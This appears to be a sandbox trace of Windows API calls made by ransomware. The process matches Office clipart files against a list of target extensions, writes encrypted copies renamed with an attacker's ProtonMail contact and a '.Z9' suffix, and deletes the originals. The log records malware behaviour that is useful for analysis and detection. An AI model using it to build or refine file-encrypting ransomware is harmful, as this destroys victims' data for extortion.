	[0082.783] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.783] lstrlenW (lpString=".xls") returned 4
	[0082.783] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.783] lstrlenW (lpString=".xlsx") returned 5
	[0082.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.783] lstrlenW (lpString=".ppt") returned 4
	[0082.783] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0082.783] lstrlenW (lpString=".zip") returned 4
	[0082.783] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.783] lstrlenW (lpString=".rar") returned 4
	[0082.783] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.783] lstrlenW (lpString=".bz2") returned 4
	[0082.783] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.783] lstrlenW (lpString=".7z") returned 3
	[0082.783] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0082.783] lstrlenW (lpString=".dbf") returned 4
	[0082.783] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0082.783] lstrlenW (lpString=".1cd") returned 4
	[0082.784] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68
	[0082.784] lstrlenW (lpString=".jpg") returned 4
	[0082.784] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.784] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.784] lstrlenW (lpString="AN02122_.WMF") returned 12
	[0082.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0082.784] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=7540) returned 1
	[0082.784] CloseHandle (hObject=0x38c) returned 1
	[0082.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 0x220
	[0082.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0082.785] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.785] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0082.785] GetLastError () returned 0x0
	[0082.785] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1d74, lpOverlapped=0x0) returned 1
	[0082.787] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1d80, lpOverlapped=0x0) returned 1
	[0082.788] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.788] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0082.788] SetEndOfFile (hFile=0x394) returned 1
	[0082.788] CloseHandle (hObject=0x394) returned 1
	[0082.790] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.790] SetEndOfFile (hFile=0x38c) returned 1
	[0082.791] CloseHandle (hObject=0x38c) returned 1
	[0082.791] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0082.791] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02122_.wmf")) returned 1
	[0082.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0082.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0082.791] lstrlenW (lpString=".doc") returned 4
	[0082.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.791] lstrlenW (lpString=".docx") returned 5
	[0082.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.791] lstrlenW (lpString=".pdf") returned 4
	[0082.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.791] lstrlenW (lpString=".xls") returned 4
	[0082.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.791] lstrlenW (lpString=".xlsx") returned 5
	[0082.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.791] lstrlenW (lpString=".ppt") returned 4
	[0082.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0082.792] lstrlenW (lpString=".zip") returned 4
	[0082.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.792] lstrlenW (lpString=".rar") returned 4
	[0082.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.792] lstrlenW (lpString=".bz2") returned 4
	[0082.792] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.792] lstrlenW (lpString=".7z") returned 3
	[0082.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0082.792] lstrlenW (lpString=".dbf") returned 4
	[0082.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0082.792] lstrlenW (lpString=".1cd") returned 4
	[0082.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0082.792] lstrlenW (lpString=".jpg") returned 4
	[0082.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0082.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0082.792] lstrlenW (lpString=".doc") returned 4
	[0082.792] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0082.792] lstrlenW (lpString=".docx") returned 5
	[0082.792] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0082.792] lstrlenW (lpString=".pdf") returned 4
	[0082.792] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0082.792] lstrlenW (lpString=".xls") returned 4
	[0082.792] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0082.792] lstrlenW (lpString=".xlsx") returned 5
	[0082.792] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0082.792] lstrlenW (lpString=".ppt") returned 4
	[0082.792] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0082.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0082.792] lstrlenW (lpString=".zip") returned 4
	[0082.792] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0082.792] lstrlenW (lpString=".rar") returned 4
	[0082.792] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0082.792] lstrlenW (lpString=".bz2") returned 4
	[0082.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0082.793] lstrlenW (lpString=".7z") returned 3
	[0082.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0082.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0082.793] lstrlenW (lpString=".dbf") returned 4
	[0082.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0082.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0082.793] lstrlenW (lpString=".1cd") returned 4
	[0082.793] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0082.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 68
	[0082.793] lstrlenW (lpString=".jpg") returned 4
	[0082.793] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0082.793] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0082.793] lstrlenW (lpString="AN02559_.WMF") returned 12
	[0082.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0082.794] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=6632) returned 1
	[0082.794] CloseHandle (hObject=0x38c) returned 1
	[0082.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 0x220
	[0082.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0082.794] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.794] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0082.794] GetLastError () returned 0x0
	[0082.794] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x19e8, lpOverlapped=0x0) returned 1
	[0083.106] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x19f0, lpOverlapped=0x0) returned 1
	[0083.107] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.107] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.107] SetEndOfFile (hFile=0x394) returned 1
	[0083.107] CloseHandle (hObject=0x394) returned 1
	[0083.108] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.108] SetEndOfFile (hFile=0x38c) returned 1
	[0083.109] CloseHandle (hObject=0x38c) returned 1
	[0083.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.109] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1
	[0083.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0083.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0083.110] lstrlenW (lpString=".doc") returned 4
	[0083.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.110] lstrlenW (lpString=".docx") returned 5
	[0083.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.110] lstrlenW (lpString=".pdf") returned 4
	[0083.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.110] lstrlenW (lpString=".xls") returned 4
	[0083.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.110] lstrlenW (lpString=".xlsx") returned 5
	[0083.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.110] lstrlenW (lpString=".ppt") returned 4
	[0083.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0083.110] lstrlenW (lpString=".zip") returned 4
	[0083.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.110] lstrlenW (lpString=".rar") returned 4
	[0083.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.110] lstrlenW (lpString=".bz2") returned 4
	[0083.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.110] lstrlenW (lpString=".7z") returned 3
	[0083.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0083.110] lstrlenW (lpString=".dbf") returned 4
	[0083.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0083.110] lstrlenW (lpString=".1cd") returned 4
	[0083.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0083.110] lstrlenW (lpString=".jpg") returned 4
	[0083.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0083.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0083.111] lstrlenW (lpString=".doc") returned 4
	[0083.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.111] lstrlenW (lpString=".docx") returned 5
	[0083.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.111] lstrlenW (lpString=".pdf") returned 4
	[0083.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.111] lstrlenW (lpString=".xls") returned 4
	[0083.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.111] lstrlenW (lpString=".xlsx") returned 5
	[0083.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.111] lstrlenW (lpString=".ppt") returned 4
	[0083.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0083.111] lstrlenW (lpString=".zip") returned 4
	[0083.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.111] lstrlenW (lpString=".rar") returned 4
	[0083.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.111] lstrlenW (lpString=".bz2") returned 4
	[0083.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.111] lstrlenW (lpString=".7z") returned 3
	[0083.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0083.111] lstrlenW (lpString=".dbf") returned 4
	[0083.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0083.111] lstrlenW (lpString=".1cd") returned 4
	[0083.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68
	[0083.111] lstrlenW (lpString=".jpg") returned 4
	[0083.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.112] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0083.112] lstrlenW (lpString="AN04267_.WMF") returned 12
	[0083.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.112] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=7804) returned 1
	[0083.112] CloseHandle (hObject=0x38c) returned 1
	[0083.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 0x220
	[0083.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0083.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.112] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.112] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0083.113] GetLastError () returned 0x0
	[0083.113] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1e7c, lpOverlapped=0x0) returned 1
	[0083.115] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1e80, lpOverlapped=0x0) returned 1
	[0083.116] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.116] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.116] SetEndOfFile (hFile=0x394) returned 1
	[0083.116] CloseHandle (hObject=0x394) returned 1
	[0083.117] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.117] SetEndOfFile (hFile=0x38c) returned 1
	[0083.117] CloseHandle (hObject=0x38c) returned 1
	[0083.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0083.118] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04267_.wmf")) returned 1
	[0083.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0083.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0083.118] lstrlenW (lpString=".doc") returned 4
	[0083.118] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.118] lstrlenW (lpString=".docx") returned 5
	[0083.118] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.118] lstrlenW (lpString=".pdf") returned 4
	[0083.118] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.118] lstrlenW (lpString=".xls") returned 4
	[0083.118] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.118] lstrlenW (lpString=".xlsx") returned 5
	[0083.118] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.118] lstrlenW (lpString=".ppt") returned 4
	[0083.118] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0083.118] lstrlenW (lpString=".zip") returned 4
	[0083.119] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.119] lstrlenW (lpString=".rar") returned 4
	[0083.119] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.119] lstrlenW (lpString=".bz2") returned 4
	[0083.119] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.119] lstrlenW (lpString=".7z") returned 3
	[0083.119] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0083.119] lstrlenW (lpString=".dbf") returned 4
	[0083.119] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0083.119] lstrlenW (lpString=".1cd") returned 4
	[0083.119] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0083.119] lstrlenW (lpString=".jpg") returned 4
	[0083.119] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0083.119] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04267_.WMF") returned 68
	[0083.119] lstrlenW (lpString=".doc") returned 4
	[0083.119] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.119] lstrlenW (lpString=".docx") returned 5
	[0083.119] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
